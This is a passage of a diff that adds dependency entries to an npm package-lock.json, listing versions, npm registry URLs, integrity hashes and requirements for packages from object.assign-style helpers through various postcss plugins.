+      "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      }
+    },
+    "object.getownpropertydescriptors": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz",
+      "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==",
+      "requires": {
+        "array.prototype.reduce": "^1.0.4",
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.20.1"
+      }
+    },
+    "object.hasown": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.1.tgz",
+      "integrity": "sha512-LYLe4tivNQzq4JdaWW6WO3HMZZJWzkkH8fnI6EebWl0VZth2wL2Lovm74ep2/gZzlaTdV62JZHEqHQ2yVn8Q/A==",
+      "requires": {
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      }
+    },
+    "object.values": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
+      "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      }
+    },
+    "obuf": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
+      "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg=="
+    },
+    "on-finished": {
+      "version": "2.4.1",
+      "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+      "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+      "requires": {
+        "ee-first": "1.1.1"
+      }
+    },
+    "on-headers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
+      "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
+    },
+    "once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "requires": {
+        "wrappy": "1"
+      }
+    },
+    "onetime": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
+      "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+      "requires": {
+        "mimic-fn": "^2.1.0"
+      }
+    },
+    "open": {
+      "version": "8.4.0",
+      "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz",
+      "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==",
+      "requires": {
+        "define-lazy-prop": "^2.0.0",
+        "is-docker": "^2.1.1",
+        "is-wsl": "^2.2.0"
+      }
+    },
+    "optionator": {
+      "version": "0.9.1",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz",
+      "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==",
+      "requires": {
+        "deep-is": "^0.1.3",
+        "fast-levenshtein": "^2.0.6",
+        "levn": "^0.4.1",
+        "prelude-ls": "^1.2.1",
+        "type-check": "^0.4.0",
+        "word-wrap": "^1.2.3"
+      }
+    },
+    "p-limit": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+      "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+      "requires": {
+        "yocto-queue": "^0.1.0"
+      }
+    },
+    "p-locate": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+      "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+      "requires": {
+        "p-limit": "^3.0.2"
+      }
+    },
+    "p-retry": {
+      "version": "4.6.2",
+      "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz",
+      "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==",
+      "requires": {
+        "@types/retry": "0.12.0",
+        "retry": "^0.13.1"
+      }
+    },
+    "p-try": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+      "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
+    },
+    "param-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
+      "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==",
+      "requires": {
+        "dot-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "parent-module": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+      "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+      "requires": {
+        "callsites": "^3.0.0"
+      }
+    },
+    "parse-json": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+      "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
+      "requires": {
+        "@babel/code-frame": "^7.0.0",
+        "error-ex": "^1.3.1",
+        "json-parse-even-better-errors": "^2.3.0",
+        "lines-and-columns": "^1.1.6"
+      }
+    },
+    "parse5": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
+      "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="
+    },
+    "parseurl": {
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+      "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
+    },
+    "pascal-case": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
+      "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
+      "requires": {
+        "no-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "path-exists": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+      "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="
+    },
+    "path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="
+    },
+    "path-key": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+      "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
+    },
+    "path-parse": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+    },
+    "path-to-regexp": {
+      "version": "0.1.12",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
+      "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ=="
+    },
+    "path-type": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+      "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="
+    },
+    "performance-now": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+      "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow=="
+    },
+    "picocolors": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.1.tgz",
+      "integrity": "sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew=="
+    },
+    "picomatch": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+      "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="
+    },
+    "pify": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+      "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="
+    },
+    "pirates": {
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz",
+      "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ=="
+    },
+    "pkg-dir": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+      "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+      "requires": {
+        "find-up": "^4.0.0"
+      },
+      "dependencies": {
+        "find-up": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+          "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+          "requires": {
+            "locate-path": "^5.0.0",
+            "path-exists": "^4.0.0"
+          }
+        },
+        "locate-path": {
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+          "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+          "requires": {
+            "p-locate": "^4.1.0"
+          }
+        },
+        "p-limit": {
+          "version": "2.3.0",
+          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+          "requires": {
+            "p-try": "^2.0.0"
+          }
+        },
+        "p-locate": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+          "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+          "requires": {
+            "p-limit": "^2.2.0"
+          }
+        }
+      }
+    },
+    "pkg-up": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
+      "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
+      "requires": {
+        "find-up": "^3.0.0"
+      },
+      "dependencies": {
+        "find-up": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+          "requires": {
+            "locate-path": "^3.0.0"
+          }
+        },
+        "locate-path": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+          "requires": {
+            "p-locate": "^3.0.0",
+            "path-exists": "^3.0.0"
+          }
+        },
+        "p-limit": {
+          "version": "2.3.0",
+          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+          "requires": {
+            "p-try": "^2.0.0"
+          }
+        },
+        "p-locate": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+          "requires": {
+            "p-limit": "^2.0.0"
+          }
+        },
+        "path-exists": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+          "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="
+        }
+      }
+    },
+    "popper.js": {
+      "version": "1.16.1",
+      "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz",
+      "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==",
+      "peer": true
+    },
+    "postcss": {
+      "version": "8.4.16",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.16.tgz",
+      "integrity": "sha512-ipHE1XBvKzm5xI7hiHCZJCSugxvsdq2mPnsq5+UF+VHCjiBvtDrlxJfMBToWaP9D5XlgNmcFGqoHmUn0EYEaRQ==",
+      "requires": {
+        "nanoid": "^3.3.4",
+        "picocolors": "^1.0.0",
+        "source-map-js": "^1.0.2"
+      }
+    },
+    "postcss-attribute-case-insensitive": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz",
+      "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "postcss-browser-comments": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz",
+      "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==",
+      "requires": {}
+    },
+    "postcss-calc": {
+      "version": "8.2.4",
+      "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz",
+      "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.9",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-clamp": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz",
+      "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-color-functional-notation": {
+      "version": "4.2.4",
+      "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz",
+      "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-color-hex-alpha": {
+      "version": "8.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz",
+      "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-color-rebeccapurple": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz",
+      "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-colormin": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz",
+      "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0",
+        "colord": "^2.9.1",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-convert-values": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz",
+      "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==",
+      "requires": {
+        "browserslist": "^4.20.3",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-custom-media": {
+      "version": "8.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz",
+      "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-custom-properties": {
+      "version": "12.1.9",
+      "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.9.tgz",
+      "integrity": "sha512-/E7PRvK8DAVljBbeWrcEQJPG72jaImxF3vvCNFwv9cC8CzigVoNIpeyfnJzphnN3Fd8/auBf5wvkw6W9MfmTyg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-custom-selectors": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz",
+      "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.4"
+      }
+    },
+    "postcss-dir-pseudo-class": {
+      "version": "6.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz",
+      "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "postcss-discard-comments": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
+      "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==",
+      "requires": {}
+    },
+    "postcss-discard-duplicates": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz",
+      "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==",
+      "requires": {}
+    },
+    "postcss-discard-empty": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz",
+      "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==",
+      "requires": {}
+    },
+    "postcss-discard-overridden": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz",
+      "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==",
+      "requires": {}
+    },
+    "postcss-double-position-gradients": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz",
+      "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==",
+      "requires": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-env-function": {
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz",
+      "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-flexbugs-fixes": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz",
+      "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==",
+      "requires": {}
+    },
+    "postcss-focus-visible": {
+      "version": "6.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz",
+      "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.9"
+      }
+    },
+    "postcss-focus-within": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz",
+      "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.9"
+      }
+    },
+    "postcss-font-variant": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
+      "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==",
+      "requires": {}
+    },
+    "postcss-gap-properties": {
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz",
+      "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==",
+      "requires": {}
+    },
+    "postcss-image-set-function": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz",
+      "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-import": {
+      "version": "14.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz",
+      "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==",
+      "requires": {
+        "postcss-value-parser": "^4.0.0",
+        "read-cache": "^1.0.0",
+        "resolve": "^1.1.7"
+      }
+    },
+    "postcss-initial": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
+      "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
+      "requires": {}
+    },
+    "postcss-js": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz",
+      "integrity": "sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==",
+      "requires": {
+        "camelcase-css": "^2.0.1"
+      }
+    },
+    "postcss-lab-function": {
+      "version": "4.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz",
+      "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==",
+      "requires": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-load-config": {
+      "version": "3.1.4",
